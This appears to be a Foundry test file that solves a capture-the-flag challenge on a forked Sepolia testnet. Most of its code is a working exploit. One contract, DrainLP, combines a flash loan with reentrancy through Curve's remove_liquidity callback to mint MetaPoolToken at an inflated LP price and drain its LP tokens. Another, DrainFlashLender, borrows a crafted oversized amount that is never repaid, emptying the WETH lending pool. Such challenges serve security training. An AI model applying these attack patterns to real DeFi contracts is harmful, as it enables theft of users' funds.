-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathMetaToken.t.sol
276 lines (215 loc) · 7.58 KB
/
MetaToken.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/CurvePool.sol";
import "../src/CurveToken.sol";
import "../src/interfaces/ILendingPool.sol";
import "../src/MetaPoolToken.sol";
import "../src/interfaces/IERC3156.sol";
import "forge-std/console.sol";
contract Challenge is Test {
ILendingPool public wethLendingPool;
CurvePool public swapPoolEthWeth;
CurveToken public lpToken;
IWETH public weth;
MetaPoolToken public metaToken;
address hacker;
address alice;
address bob;
function setUp() public {
vm.createSelectFork("https://sepolia.gateway.tenderly.co");
weth = IWETH(payable(0x1194A239875cD36C9B960FF2d3d8d0f800435290));
wethLendingPool = ILendingPool(0x66Df966E887e73b2f46456e062213B0C0fB42037);
assertEq(address(wethLendingPool.WETH()), address(weth));
assertEq(address(wethLendingPool.WETH()), address(weth));
lpToken = new CurveToken();
swapPoolEthWeth = new CurvePool(
msg.sender,
[
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE,
address(weth)
],
address(lpToken),
5,
4000000,
5000000000
);
lpToken.initialize(address(swapPoolEthWeth));
metaToken = new MetaPoolToken(lpToken, swapPoolEthWeth);
// deal(address(lpToken), address(metaToken), 10000 ether, true);
hacker = makeAddr("hacker");
alice = makeAddr("alice");
bob = makeAddr("bob");
uint[2] memory amounts;// = [10 ether, 10 ether];
amounts[0] = 10 ether;
amounts[1] = 10 ether;
deal(alice, 20 ether);
vm.startPrank(alice);
weth.deposit{value: 10 ether}();
assertEq(weth.balanceOf(alice), 10 ether, "alice failed");
weth.approve(address(swapPoolEthWeth), type(uint).max);
swapPoolEthWeth.add_liquidity{value: 10 ether}(amounts, 0);
lpToken.approve(address(metaToken), type(uint).max);
metaToken.mint(lpToken.balanceOf(alice));
assertGt(metaToken.balanceOf(alice),0);
vm.stopPrank();
// amounts = [20 ether, 20 ether];
amounts[0] = 20 ether;
amounts[1] = 20 ether;
deal(bob, 40 ether);
vm.startPrank(bob);
weth.deposit{value: 20 ether}();
assertEq(weth.balanceOf(bob), 20 ether, "bob failed");
weth.approve(address(swapPoolEthWeth), type(uint).max);
swapPoolEthWeth.add_liquidity{value: 20 ether}(amounts, 0);
lpToken.approve(address(metaToken), type(uint).max);
metaToken.mint(lpToken.balanceOf(bob));
assertGt(metaToken.balanceOf(bob),0);
vm.stopPrank();
// Provide initial liquidity to lending pool (and lots of it!)
deal(address(this), type(uint256).max - 70 ether);
weth.deposit{value: address(this).balance}();
weth.transfer(address(wethLendingPool), weth.balanceOf(address(this)));
// Provide hacker with some ETH to start with
deal(hacker, 10 ether);
}
function testHack() public {
uint lendingPoolWethBalance = weth.balanceOf(address(wethLendingPool));
vm.startPrank(hacker, hacker);
//Your Solution
// 1. drain all LP tokens
{
DrainLP c = new DrainLP{value: address(hacker).balance}(
wethLendingPool, swapPoolEthWeth, lpToken, weth, metaToken);
c.attack();
}
// 2. drain the lender pool
{
DrainFlashLender c = new DrainFlashLender(
wethLendingPool, weth);
c.attack();
weth.withdraw(weth.balanceOf(hacker));
}
vm.stopPrank();
assertLt(weth.balanceOf(address(wethLendingPool)), lendingPoolWethBalance, "Did not steal WETH from LendingPool");
assertApproxEqAbs(lpToken.balanceOf(address(metaToken)), 0, 1e5, "Did not completely drain LP tokens from MetaPoolToken");
assertApproxEqRel(address(hacker).balance / weth.balanceOf(address(wethLendingPool)), 200, 5, "Did not obtain approx. 200x as much ETH as the final WETH lending pool balance");
}
}
contract DrainLP is IERC3156FlashBorrower {
ILendingPool public wethLendingPool;
CurvePool public swapPoolEthWeth;
CurveToken public lpToken;
IWETH public weth;
MetaPoolToken public metaToken;
address hacker;
constructor(
ILendingPool a1,
CurvePool a2,
CurveToken a3,
IWETH a4,
MetaPoolToken a5
) payable {
hacker = msg.sender;
wethLendingPool = a1;
swapPoolEthWeth = a2;
lpToken = a3;
weth = a4;
metaToken = a5;
}
function attack() external {
{ // 1. buy 10 eth lp
weth.approve(address(wethLendingPool), type(uint).max);
weth.approve(address(swapPoolEthWeth), type(uint).max);
uint v0 = 5 ether;
uint v1 = 5 ether;
weth.deposit{value: v1}(); // eth -> weth
uint[2] memory amounts;
amounts[0] = v0;
amounts[1] = v1;
uint lp = swapPoolEthWeth.add_liquidity{value: v0}(amounts, 0);
}
{ // flashloan
uint borrow = 1046_982343863283000000;
wethLendingPool.flashLoan(
IERC3156FlashBorrower(this), address(weth), borrow, "");
}
// transfer eth/weth back to hacker
{
payable(hacker).call{value: address(this).balance}("");
weth.transfer(hacker, weth.balanceOf(address(this)));
}
}
bool flagHandleReceive;
receive() external payable {
if (!flagHandleReceive ) {
return;
}
flagHandleReceive = false;
{ // here, lp price is very high, so we can buy more metaToken
uint lp = lpToken.balanceOf(address(this));
lpToken.approve(address(metaToken), type(uint).max);
metaToken.mint(lp);
}
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
{ // buy some lp, then sell it to break the balance and trigger the `receive()` callback
uint half = amount/2;
weth.withdraw(half);
uint[2] memory amounts;
amounts[0] = half;
amounts[1] = half;
uint lp = swapPoolEthWeth.add_liquidity{value: half}(amounts, 0);
amounts[0] = 0;
amounts[1] = 0;
flagHandleReceive = true; // get ready for the `receive()`
amounts = swapPoolEthWeth.remove_liquidity(lp, amounts);
}
// executing `receive()` ...
{ // When it goes here, lp price gets back to low,
// sell the metaToken to get more lp
uint meta = metaToken.balanceOf(address(this));
metaToken.burn(meta);
}
{ // remove liquidity -> eth/weth
uint lp = lpToken.balanceOf(address(this));
uint[2] memory amounts;
amounts[0] = 0;
amounts[1] = 0;
amounts = swapPoolEthWeth.remove_liquidity(lp, amounts);
}
// return funds
{
weth.deposit{value: address(this).balance}(); // all eth -> weth
}
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
contract DrainFlashLender is IERC3156FlashBorrower {
ILendingPool public wethLendingPool;
IWETH public weth;
address hacker;
constructor(
ILendingPool a1,
IWETH a2
) payable {
hacker = msg.sender;
wethLendingPool = a1;
weth = a2;
}
function attack() external {
// flashloan weth without returning
{
uint borrow = 0xfeb9f34380a3065e3fae7cd0e028c1978feb9f34380a3065e3fae7cd0e028c1a;
wethLendingPool.flashLoan(
IERC3156FlashBorrower(this), address(weth), borrow, "");
}
// transfer weth back to hacker
{
weth.transfer(hacker, weth.balanceOf(address(this)));
}
}
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}